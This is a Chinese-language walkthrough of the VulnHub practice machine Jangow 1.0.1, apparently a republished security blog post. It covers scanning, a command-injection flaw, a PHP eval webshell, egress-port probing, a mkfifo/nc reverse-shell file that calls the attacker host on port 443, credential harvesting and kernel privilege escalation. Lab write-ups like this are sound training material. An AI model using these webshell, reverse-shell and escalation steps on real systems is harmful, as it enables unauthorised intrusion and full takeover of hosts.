靶机练习-JANGOW: 1.0.1
2023-5-6 00:43:58 Author: 白帽子(查看原文) 阅读量:46 收藏

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

靶机介绍

Name: Jangow: 1.0.1
Difficulty:easy
Flag : 2 Flag first user And second root
靶机下载地址:

https://www.vulnhub.com/entry/jangow-101,754/

实验环境

攻击机:本机(192.168.11.1)、kali(192.168.11.143)
靶机:Linux,IP自动获取
攻击机与靶机都使用net网络连接,在同一网段下

渗透测试步骤

1、使用nmap扫描网段,获得靶机IP

nmap -sn 192.168.11.0/24

2、使用masscan快速探测目标开放的端口

masscan -p 0-65535 192.168.11.160 --rate=10000

3、使用nmap对开放的端口进行服务探测

nmap -sC -p 21,80 192.168.11.160

发现开放了ftp服务和http服务
4、访问目标的80端口

访问site目录

点击各个功能点,最后发现如下位置存在命令执行漏洞
http://192.168.11.160/site/busque.php?buscar=

5、通过漏洞写入webshell
写入PHP一句话木马

echo '<?php eval($_POST["cmd"]);?>' > cmd.php
注意:echo后面的整条语句一定要用单引号包起来

成功写入:

用蚁剑成功连接

6、在kali开启nc监听4444端口,利用bash反弹shell,但是发现全部报错了

nc -lvp 4444

经过命令查询发现目标机安装了nc、python3、php
都没能反弹成功。由此考虑到可能是存在端口限制!!!
7、通过nc探测可用端口(一般服务器不会对80、443端口做限制)
1)在kali上把1-65535所有端口绑定到某个端口上

sudo iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 1234

监听这个端口

nc -lvp 1234

2)在靶机上运行如下脚本进行探测

# !/bin/bashfor i in {1..65535};do    timeout 1 nc -vz 192.168.11.143 $i && echo "$i open" >> out.txt || echo "$i closed" >> out.txt;done

发现443端口没有被限制

于是在kali监听443端口

在蚁剑中输入反弹shell的命令,依旧失败???试了用冰蝎连webshell之后执行反弹命令也失败。
解决办法是通过访问式反弹shell,在目标机创建如下php文件

<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.11.143 443 >/tmp/f");?>

然后访问该php文件,才反弹成功!!!

8、寻找敏感文件
找到desafio02/desafio02、jangow01/abygurl69账号和密码
并在jangow01加目录下得到flag1

测试发现jangow01/abygurl69是ftp、以及jangow01登录的账号和密码
9、提权

uname -a

查看系统版本

利用kali中的searchsploit查找可用于提权的脚本

searchsploit ubuntu 4.4.0-31

下载其中的脚本进行编译

searchsploit -m linux/local/45010.c

10、上传到目标主机进行提权
但是发现不能通过蚁剑上传,本来是可以通过在kali的443端口上开启http服务,然后让目标主机访问下载,但是443端口已经用来做反弹shell的端口了,其他端口都被做了限制,于是想到利用ftp上传,反正已经获得了ftp的账号密码

添加执行权限,但是发现 www-data 没有这个权力,于是切换用户到 jangow01

成功提权

在/root目录下获得flag2

总结

这个靶场主要是通过一个命令执行漏洞写入一句话,然后使用蚁剑连接得到webshell,但是在反弹shell得时候碰到了问题,尝试使用bash、php、nc等进行反弹都没有成功,发现原来是服务器能够访问的外部端口受到了限制,最后通过探测发现只能访问外部的443端口,于是在kali使用nc监听443端口,然后通过访问式触发nc反弹命令才成功。
    得到反弹的shell之后通过寻找敏感文件得到了普通用户的账户密码,可用于用户切换以及ftp登录,最后就是通过查看内核版本,寻找对应可提权的脚本,通过ftp上传,最后运行提权脚本得到root权限。

安恒信息

杭州亚运会网络安全服务官方合作伙伴

成都大运会网络信息安全类官方赞助商

武汉军运会、北京一带一路峰会

青岛上合峰会、上海进博会

厦门金砖峰会、G20杭州峰会

支撑单位北京奥运会等近百场国家级

重大活动网络安保支撑单位

END

长按识别二维码关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246679&idx=1&sn=9cefcb9fad62fb51866da07878f4fced&chksm=82ea55beb59ddca8c1d8d87cb52849ac19704fabd547761b226c2435bc2e8b36e2e9f2d3537b#rd
如有侵权请联系:admin#unsafe.sh